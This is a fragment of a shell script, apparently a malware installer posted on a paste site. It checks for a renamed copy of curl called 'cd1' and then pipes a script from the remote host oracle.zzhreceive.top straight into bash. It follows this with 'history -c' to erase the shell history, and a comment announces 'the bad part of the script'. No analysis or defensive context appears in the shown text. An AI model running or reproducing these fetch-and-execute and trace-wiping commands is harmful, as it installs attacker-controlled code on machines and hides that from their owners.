  1503. exit
  1504. fi
  1505.  
  1506. echo ""
  1507. echo "[*] Setup complete"
  1508. which cd1
  1509. if [ $? -eq 0 ]
  1510. then
  1511. cd1 -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/iss.sh | bash
  1512. else
  1513. curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/iss.sh | bash
  1514. fi
  1515. history -c
  1516.  
  1517. ## now the bad part of the script###
  1518.  
Add Comment
Please, Sign In to add comment